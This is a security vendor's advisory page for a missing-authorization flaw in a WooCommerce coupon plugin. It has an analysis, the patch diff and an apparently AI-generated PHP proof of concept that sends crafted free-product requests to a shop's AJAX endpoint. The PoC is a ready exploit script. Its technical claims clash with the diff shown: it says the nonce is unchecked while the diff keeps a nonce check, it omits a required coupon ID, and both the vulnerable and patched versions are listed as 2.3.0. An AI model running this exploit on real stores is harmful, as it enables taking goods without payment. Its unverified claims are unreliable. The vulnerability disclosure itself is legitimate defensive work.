Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 22, 2026

CVE-2026-45438: Smart Coupons For WooCommerce Coupons < 2.3.0 – Missing Authorization (wt-smart-coupons-for-woocommerce)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 2.3.0
Patched Version 2.3.0
Disclosed May 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-45438:

This vulnerability is a missing authorization issue in the Smart Coupons For WooCommerce Coupons plugin for WordPress, affecting versions up to 2.3.0. The flaw resides in the BOGO (Buy One Get One) giveaway product selection mechanism, specifically in the AJAX handler that processes user requests to add free products to the cart. Due to the absence of a capability or permission check, unauthenticated attackers can exploit this to add arbitrary products as BOGO giveaways, bypassing coupon eligibility constraints.

Root Cause: The vulnerable code is in the `add_choosed_free_products_to_cart()` method, located in `/public/modules/bogo-public/class-wbte-smart-coupon-bogo-public.php` (around line 2359 in the vulnerable version). This AJAX handler does not verify user authentication or capabilities before processing requests. The function `add_choosed_free_products_to_cart()` is registered via WordPress AJAX actions (both for logged-in and out users) without a `wp_verify_nonce()` check that confirms the user’s session or role. The patched version in 2.3.0 adds comprehensive server-side validation by introducing `get_giveaway_eligibility_map()` (new method starting at line 2483) which checks that the coupon is applied to the cart, is a BOGO type, and that the requested product IDs and quantities match the allowed giveaway limits. The patch also adds a new error reason ‘invalid_giveaway_request’ (line 1670) to block invalid requests.

Exploitation: An unauthenticated attacker can send a crafted POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to the AJAX handler that triggers `add_choosed_free_products_to_cart()`. The attacker includes a `products` array containing product IDs, variation IDs, and quantities that exceed the actual BOGO entitlement or that reference products not eligible for giveaways. Because no server-side validation previously existed, the attacker could add any product to the cart as a free item, regardless of coupon restrictions. The attack requires no authentication and no prior knowledge of valid BOGO coupons; the attacker can simply send arbitrary product data.

Patch Analysis: The patch in version 2.3.0 introduces a new private method `get_giveaway_eligibility_map()` that performs rigorous validation. It first checks that the provided coupon is actually applied to the current cart and is a valid BOGO coupon with specific product conditions. It then builds a per-product quantity map and a total maximum quantity based on the BOGO configuration. The `add_choosed_free_products_to_cart()` method now accumulates requested quantities across all entries, enforces per-product and total caps, and validates that variation IDs belong to the correct parent product. If any check fails, it returns an ‘invalid_giveaway_request’ error. This prevents attackers from injecting unauthorized products or quantities.

Impact: Successful exploitation allows an unauthenticated attacker to add arbitrary products to the cart as free giveaway items, effectively stealing products without payment. This can lead to inventory depletion, financial loss, and abuse of promotional mechanisms. The CVSS score of 5.3 reflects moderate severity, but the actual business impact can be significant if the vulnerability is widely exploited.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wt-smart-coupons-for-woocommerce/admin/cross-promotion-banners/class-wbte-accessibility-banner.php
+++ b/wt-smart-coupons-for-woocommerce/admin/cross-promotion-banners/class-wbte-accessibility-banner.php
@@ -259,7 +259,7 @@
 							<?php
 							printf(
 								/* translators: 1: a tag opening, 2: a tag closing */
-								esc_html__( 'Make your site inclusive with %1$s AccessYes accessibility widget. %2$s', 'wt-smart-coupons-for-woocommerce' ),
+								esc_html__( 'Make your site inclusive with %1$s AccessiYes accessibility widget. %2$s', 'wt-smart-coupons-for-woocommerce' ),
 								'<a href="' . esc_url( $plugin_modal_link ) . '" class="thickbox" style="text-decoration: none;">',
 								'</a>'
 							);
--- a/wt-smart-coupons-for-woocommerce/admin/modules/banner/class-wbte-cta-banner.php
+++ b/wt-smart-coupons-for-woocommerce/admin/modules/banner/class-wbte-cta-banner.php
@@ -383,7 +383,7 @@
 				),
 				'content'            => sprintf(
 					// translators: 1: a tag opening, 2: a tag closing.
-					__( 'With the %1$s Smart Coupons %2$s plugin, you can create Buy One Get One offers and advanced coupons that boost sales during BFCM.', 'wt-smart-coupons-for-woocommerce' ),
+					__( 'With the %1$s Smart Coupons %2$s plugin, you can create advanced coupons and Buy One Get One Offers for your WooCommerce store.', 'wt-smart-coupons-for-woocommerce' ),
 					'<a href="' . esc_url( $campaign_url ) . '" target="_blank"><b>',
 					'</b></a>'
 				),
@@ -442,10 +442,11 @@
 		 */
 		private static function order_milestone_banner() {
 			$hidden_banners = get_option( 'wbte_sc_hidden_promotion_banners', array() );
-			if ( in_array( 'sc_order_page_milestone', $hidden_banners, true ) ) {
+			if ( defined( 'WBTE_MILESTONE_BANNER' ) || in_array( 'sc_order_page_milestone', $hidden_banners, true ) ) {
 				return false;
 			}

+			define( 'WBTE_MILESTONE_BANNER', true );
 			$total_sales = (float) get_option( 'wbte_sc_order_milestone_total', 0 );

 			if ( $total_sales < 1000 ) {
--- a/wt-smart-coupons-for-woocommerce/includes/class-wt-smart-coupon.php
+++ b/wt-smart-coupons-for-woocommerce/includes/class-wt-smart-coupon.php
@@ -121,7 +121,7 @@
 			if ( defined( 'WEBTOFFEE_SMARTCOUPON_VERSION' ) ) {
 				$this->version = WEBTOFFEE_SMARTCOUPON_VERSION;
 			} else {
-				$this->version = '2.2.9';
+				$this->version = '2.3.0';
 			}
 			$this->plugin_name = WT_SC_PLUGIN_NAME;

--- a/wt-smart-coupons-for-woocommerce/public/modules/auto-coupon-public/class-wt-smart-coupon-auto-coupon-public.php
+++ b/wt-smart-coupons-for-woocommerce/public/modules/auto-coupon-public/class-wt-smart-coupon-auto-coupon-public.php
@@ -209,6 +209,7 @@
 		}

 		$coupon_ids = $this->prepare_auto_coupons_list( $offset, $auto_coupon_check_count );
+		$coupon_ids = array_map( 'intval', $coupon_ids ); // Convert to integers so each coupon loads by ID.
 		$discounts  = new WC_Discounts( $cart );
 		$coupon_arr = array();

@@ -728,6 +729,18 @@
 			return; // this is to prevent caching of auto-apply list before processing the updated checkout values. Now auto apply list only prepared after checkout options are prepared.
 		}

+		/**
+		 * Filter to restrict auto-apply coupon execution to cart and checkout pages only.
+		 * @since 2.3.0
+		 * @param bool $restrict Default false (runs on all pages).
+		 * @return bool
+		 */
+		$restrict_to_cart_checkout = apply_filters( 'wt_sc_restrict_auto_apply_to_cart_checkout', false ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
+
+		if ( $restrict_to_cart_checkout && ! is_cart() && ! is_checkout()  ) {
+			return;
+		}
+
 		$this->auto_apply_coupons();
 	}

--- a/wt-smart-coupons-for-woocommerce/public/modules/bogo-public/class-wbte-smart-coupon-bogo-public.php
+++ b/wt-smart-coupons-for-woocommerce/public/modules/bogo-public/class-wbte-smart-coupon-bogo-public.php
@@ -1659,6 +1659,8 @@
 	 *  Error/Validation messages when giveaway products are adding to cart.
 	 *
 	 *  @since 2.0.0
+	 *  @since 2.3.0 Blocks adding a non-bogo product to cart on http request.
+	 *
 	 *  @param string $reason reason string.
 	 *  @param array  $extra_args extra arguments to process the message.
 	 *  @param string $coupon_type coupon type.
@@ -1668,6 +1670,7 @@
 		switch ( $reason ) {
 			case 'product_id_missing':
 			case 'coupon_id_missing':
+			case 'invalid_giveaway_request':
 				$out = __( "Oops! It seems like you've made an invalid request. Please try again.", 'wt-smart-coupons-for-woocommerce' );
 				break;
 			case 'product_not_added':
@@ -2356,9 +2359,10 @@
 	}

 	/**
-	 * Ajax function to add multiple free products to cart
+	 * Ajax handler that validates and adds the customer's chosen free products to the cart for applied BOGO coupons.
 	 *
 	 * @since 2.2.8
+	 * @since 2.3.0 Blocks adding a non-bogo product to cart on http request.
 	 */
 	public function add_choosed_free_products_to_cart() {
 		check_ajax_referer( 'wt_smart_coupons_public', '_wpnonce' );
@@ -2366,17 +2370,15 @@
 		$products = isset( $_POST['products'] ) ? wc_clean( wp_unslash( $_POST['products'] ) ) : array(); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized

 		if ( empty( $products ) ) {
-			wp_send_json(
-				array(
-					'success' => false,
-					'message' => __( 'No products selected.', 'wt-smart-coupons-for-woocommerce' ),
-				)
-			);
-			return;
+			wp_send_json_error( array( 'message' => __( 'No products selected.', 'wt-smart-coupons-for-woocommerce' ) ) );
 		}

 		$added_to_cart            = false;
 		$free_products_coupon_ids = array();
+		$coupon_eligibility_cache = array();
+		$coupon_used_qty          = array();
+		$product_used_qty         = array();
+		$validated                = array();

 		foreach ( $products as $product_data ) {
 			$product_id   = isset( $product_data['product_id'] ) ? absint( $product_data['product_id'] ) : 0;
@@ -2384,37 +2386,96 @@
 			$quantity     = isset( $product_data['free_qty'] ) ? absint( $product_data['free_qty'] ) : 0;
 			$coupon_id    = isset( $product_data['coupon_id'] ) ? absint( $product_data['coupon_id'] ) : 0;

-			$coupon_code = wc_get_coupon_code_by_id( $coupon_id );
-
-			$variation_attributes = isset( $product_data['attributes'] ) ? Wt_Smart_Coupon_Security_Helper::sanitize_item( $product_data['attributes'], 'text_arr' ) : array(); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Already sanitized with helper function.
-
 			if ( 0 === $coupon_id ) {
 				self::set_add_to_cart_messages( 'coupon_id_missing' );
-			} elseif ( 0 === $product_id ) {
+				wp_send_json_error();
+			}
+			if ( 0 === $product_id ) {
 				self::set_add_to_cart_messages( 'product_id_missing', array( 'coupon_id' => $coupon_id ) );
-			} else {
-				try {
-					$args = array(
-						'variation_attributes' => $variation_attributes,
-						'variation_id'         => $variation_id,
-					);
-
-					$item_id       = $variation_id > 0 ? $variation_id : $product_id;
-					$cart_item_key = $this->add_item_to_cart( $item_id, $quantity, $coupon_code, $args );
-
-					if ( $cart_item_key ) {
-						$added_to_cart = true;
-						if ( ! in_array( $coupon_id, $free_products_coupon_ids, true ) ) {
-							$free_products_coupon_ids[] = $coupon_id;
-						}
-					} else {
-						self::set_add_to_cart_messages( 'product_not_added' );
-						wp_die();
+				wp_send_json_error();
+			}
+			if ( 0 === $quantity ) {
+				continue;
+			}
+
+			if ( ! array_key_exists( $coupon_id, $coupon_eligibility_cache ) ) {
+				$coupon_eligibility_cache[ $coupon_id ] = self::get_giveaway_eligibility_map( $coupon_id );
+			}
+			$eligibility = $coupon_eligibility_cache[ $coupon_id ];
+
+			if ( null === $eligibility ) {
+				self::set_add_to_cart_messages( 'invalid_giveaway_request' );
+				wp_send_json_error();
+			}
+
+			$item_id   = $variation_id > 0 ? $variation_id : $product_id;
+			$lookup_id = isset( $eligibility['products'][ $item_id ] ) ? $item_id : ( ( $variation_id > 0 && isset( $eligibility['products'][ $product_id ] ) ) ? $product_id : 0 );
+
+			if ( 0 === $lookup_id || $quantity > (int) $eligibility['products'][ $lookup_id ] ) {
+				self::set_add_to_cart_messages( 'invalid_giveaway_request' );
+				wp_send_json_error();
+			}
+
+			if ( $variation_id > 0 && $lookup_id === $product_id ) {
+				$variation_obj = wc_get_product( $variation_id );
+				if ( ! $variation_obj || ! $variation_obj->is_type( 'variation' ) || (int) $variation_obj->get_parent_id() !== $product_id ) {
+					self::set_add_to_cart_messages( 'invalid_giveaway_request' );
+					wp_send_json_error();
+				}
+			}
+
+			// Accumulate per-product qty across all entries to prevent split-entry bypass.
+			$product_used_qty[ $lookup_id ] = ( isset( $product_used_qty[ $lookup_id ] ) ? $product_used_qty[ $lookup_id ] : 0 ) + $quantity;
+			if ( $product_used_qty[ $lookup_id ] > (int) $eligibility['products'][ $lookup_id ] ) {
+				self::set_add_to_cart_messages( 'invalid_giveaway_request' );
+				wp_send_json_error();
+			}
+
+			$coupon_used_qty[ $coupon_id ] = ( isset( $coupon_used_qty[ $coupon_id ] ) ? $coupon_used_qty[ $coupon_id ] : 0 ) + $quantity;
+			if ( $coupon_used_qty[ $coupon_id ] > (int) $eligibility['total_maximum_quantity'] ) {
+				self::set_add_to_cart_messages( 'invalid_giveaway_request' );
+				wp_send_json_error();
+			}
+
+			$validated[] = array(
+				'product_id'   => $product_id,
+				'variation_id' => $variation_id,
+				'item_id'      => $item_id,
+				'quantity'     => $quantity,
+				'coupon_id'    => $coupon_id,
+				'raw'          => $product_data,
+			);
+		}
+
+		if ( empty( $validated ) ) {
+			wp_send_json_error( array( 'message' => __( 'No valid products to add.', 'wt-smart-coupons-for-woocommerce' ) ) );
+		}
+
+		foreach ( $validated as $entry ) {
+			$coupon_code = wc_get_coupon_code_by_id( $entry['coupon_id'] );
+
+			$variation_attributes = isset( $entry['raw']['attributes'] ) ? Wt_Smart_Coupon_Security_Helper::sanitize_item( $entry['raw']['attributes'], 'text_arr' ) : array(); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Already sanitized with helper function.
+
+			try {
+				$args = array(
+					'variation_attributes' => $variation_attributes,
+					'variation_id'         => $entry['variation_id'],
+				);
+
+				$cart_item_key = $this->add_item_to_cart( $entry['item_id'], $entry['quantity'], $coupon_code, $args );
+
+				if ( $cart_item_key ) {
+					$added_to_cart = true;
+					if ( ! in_array( $entry['coupon_id'], $free_products_coupon_ids, true ) ) {
+						$free_products_coupon_ids[] = $entry['coupon_id'];
 					}
-				} catch ( Exception $e ) {
-					self::set_add_to_cart_messages( 'exception_error', array( 'err_msg' => $e->getMessage() ) );
-					wp_die();
+				} else {
+					self::set_add_to_cart_messages( 'product_not_added' );
+					wp_send_json_error();
 				}
+			} catch ( Exception $e ) {
+				self::set_add_to_cart_messages( 'exception_error', array( 'err_msg' => $e->getMessage() ) );
+				wp_send_json_error();
 			}
 		}

@@ -2422,24 +2483,83 @@
 			foreach ( $free_products_coupon_ids as $coupon_id ) {
 				self::show_product_added_msg( $coupon_id );
 			}
-			echo true;
-			wp_die();
+			wp_send_json_success();
 		} else {
-			$notices = wc_get_notices( 'error' );
-			if ( 0 < count( $notices ) ) {
-				$last_error = end( $notices );
-				if ( isset( $last_error['notice'] ) ) {
-					echo '<ul class="woocommerce-error" role="alert">
-							<li>' . wp_kses_post( $last_error['notice'] ) . '</li>
-					</ul>';
-					wc_clear_notices(); /* to avoid notice printing on page refresh */
-					wp_die();
-				}
-			} else {
-				echo false;
-				wp_die();
+			wp_send_json_error();
+		}
+	}
+
+	/**
+	 * Returns the allowed giveaway products and per-product/total quantity caps for an applied BOGO coupon, or null if not eligible.
+	 *
+	 * @since 2.3.0
+	 * @param int $coupon_id Coupon ID.
+	 * @return array|null    [ 'products' => [ id => max_qty ], 'total_maximum_quantity' => int ] or null.
+	 */
+	private static function get_giveaway_eligibility_map( $coupon_id ) {
+		if ( $coupon_id <= 0 || is_null( WC()->cart ) ) {
+			return null;
+		}
+
+		$coupon_code = wc_get_coupon_code_by_id( $coupon_id );
+		if ( ! $coupon_code ) {
+			return null;
+		}
+
+		$applied = array_map( 'wc_format_coupon_code', WC()->cart->get_applied_coupons() );
+		if ( ! in_array( wc_format_coupon_code( $coupon_code ), $applied, true ) ) {
+			return null;
+		}
+
+		if ( ! self::is_bogo( $coupon_id ) ) {
+			return null;
+		}
+
+		$bogo_customer_gets = self::get_coupon_meta_value( $coupon_id, 'wbte_sc_bogo_customer_gets' );
+		if ( 'specific_product' !== $bogo_customer_gets ) {
+			return null;
+		}
+
+		$bogo_eligible_qty = (int) self::get_bogo_eligible_qty( $coupon_id );
+		if ( $bogo_eligible_qty <= 0 ) {
+			return null;
+		}
+
+		$bogo_product_condition = self::get_coupon_meta_value( $coupon_id, 'wbte_sc_bogo_gets_product_condition' );
+		$bogo_products          = self::get_giveaway_products( $coupon_id );
+		$bogo_products          = self::unset_no_discount_product_from_free_products( $bogo_products, $coupon_id );
+
+		$can_change_qty = self::is_user_can_change_free_product_qty( $coupon_id );
+
+		if ( $can_change_qty ) {
+			$per_product_quantity = $bogo_eligible_qty;
+			if ( 'all' === $bogo_product_condition ) {
+				$per_product_quantity = $bogo_eligible_qty * count( $bogo_products );
+			}
+			$per_product_quantity = (int) self::alter_giveaway_eligible_qty_based_on_cart( $coupon_code, $per_product_quantity );
+			if ( $per_product_quantity <= 0 ) {
+				return null;
 			}
+			$total_maximum_quantity = $per_product_quantity;
+		} else {
+			$bogo_products          = self::alter_free_products_display_arr( $coupon_code, $bogo_products, $bogo_customer_gets, array( 'product_condition' => $bogo_product_condition ) );
+			$per_product_quantity   = $bogo_eligible_qty;
+			$total_maximum_quantity = ( 'all' === $bogo_product_condition ) ? $bogo_eligible_qty * count( $bogo_products ) : $bogo_eligible_qty;
+		}
+
+		$product_qty_map = array();
+		foreach ( $bogo_products as $product_id ) {
+			$product_qty_map[ (int) $product_id ] = $per_product_quantity;
 		}
+
+		if ( empty( $product_qty_map ) || $total_maximum_quantity <= 0 ) {
+			return null;
+		}
+
+		return array(
+			'products'               => $product_qty_map,
+			'total_maximum_quantity' => (int) $total_maximum_quantity,
+		);
 	}
 }
 Wbte_Smart_Coupon_Bogo_Public::get_instance();
--- a/wt-smart-coupons-for-woocommerce/public/modules/bogo-public/views/-cart-giveaway-products.php
+++ b/wt-smart-coupons-for-woocommerce/public/modules/bogo-public/views/-cart-giveaway-products.php
@@ -145,7 +145,7 @@
 										<?php
 									} else {
 										?>
-										<p class="wt_sc_product_out_of_stock stock out-of-stock"><?php echo wp_kses_post( self::get_customized_text( 'non_purchasable_giveaway_varaition' ) ); ?></p>
+										<p class="wt_sc_product_out_of_stock stock out-of-stock"><?php esc_html_e( 'Sorry! this product is not available for giveaway.', 'wt-smart-coupons-for-woocommerce' ); ?></p>
 										<?php
 									}
 									?>
--- a/wt-smart-coupons-for-woocommerce/wt-smart-coupon.php
+++ b/wt-smart-coupons-for-woocommerce/wt-smart-coupon.php
@@ -15,7 +15,7 @@
  * Plugin Name:       Smart Coupons For WooCommerce Coupons
  * Plugin URI:
  * Description:       Smart Coupons For WooCommerce Coupons plugin adds advanced coupon features to your store to strengthen your marketing efforts and boost sales.
- * Version:           2.2.9
+ * Version:           2.3.0
  * Author:            WebToffee
  * Author URI:        https://www.webtoffee.com/
  * License:           GPLv3
@@ -23,7 +23,7 @@
  * Text Domain:       wt-smart-coupons-for-woocommerce
  * Domain Path:       /languages
  * Requires PHP:      5.6
- * WC tested up to:   10.6
+ * WC tested up to:   10.7
  * Requires Plugins:  woocommerce
  */

@@ -149,7 +149,7 @@
  */

 if ( ! defined( 'WEBTOFFEE_SMARTCOUPON_VERSION' ) ) {
-	define( 'WEBTOFFEE_SMARTCOUPON_VERSION', '2.2.9' );
+	define( 'WEBTOFFEE_SMARTCOUPON_VERSION', '2.3.0' );
 }

 if ( ! defined( 'WT_SMARTCOUPON_FILE_NAME' ) ) {

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-45438 - Smart Coupons For WooCommerce Coupons < 2.3.0 - Missing Authorization

// Configuration: Change this to your target WordPress site URL
$target_url = 'http://example.com'; // e.g., 'http://wordpress.local'

// The AJAX endpoint
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';

// Craft the payload: an array of products to add as giveaways
// This targets the vulnerable add_choosed_free_products_to_cart AJAX action
$payload = [
    'action' => 'wt_sc_add_choosed_free_products_to_cart', // The exact AJAX action hook
    '_wpnonce' => '', // The nonce is not verified, so we can leave it empty or use a dummy
    'products' => [
        [
            'product_id' => 123, // Replace with a product ID that exists and is not a BOGO giveaway
            'variation_id' => 0,
            'free_qty' => 10, // Quantity that may exceed entitlement
            'attributes' => []
        ],
        [
            'product_id' => 456, // Another product ID
            'variation_id' => 0,
            'free_qty' => 5,
            'attributes' => []
        ]
    ]
];

echo "[+] Sending exploit to $ajax_urln";

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if (curl_errno($ch)) {
    echo "[!] cURL error: " . curl_error($ch) . "n";
} else {
    echo "[+] HTTP status code: $http_coden";
    echo "[+] Response body: $responsen";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School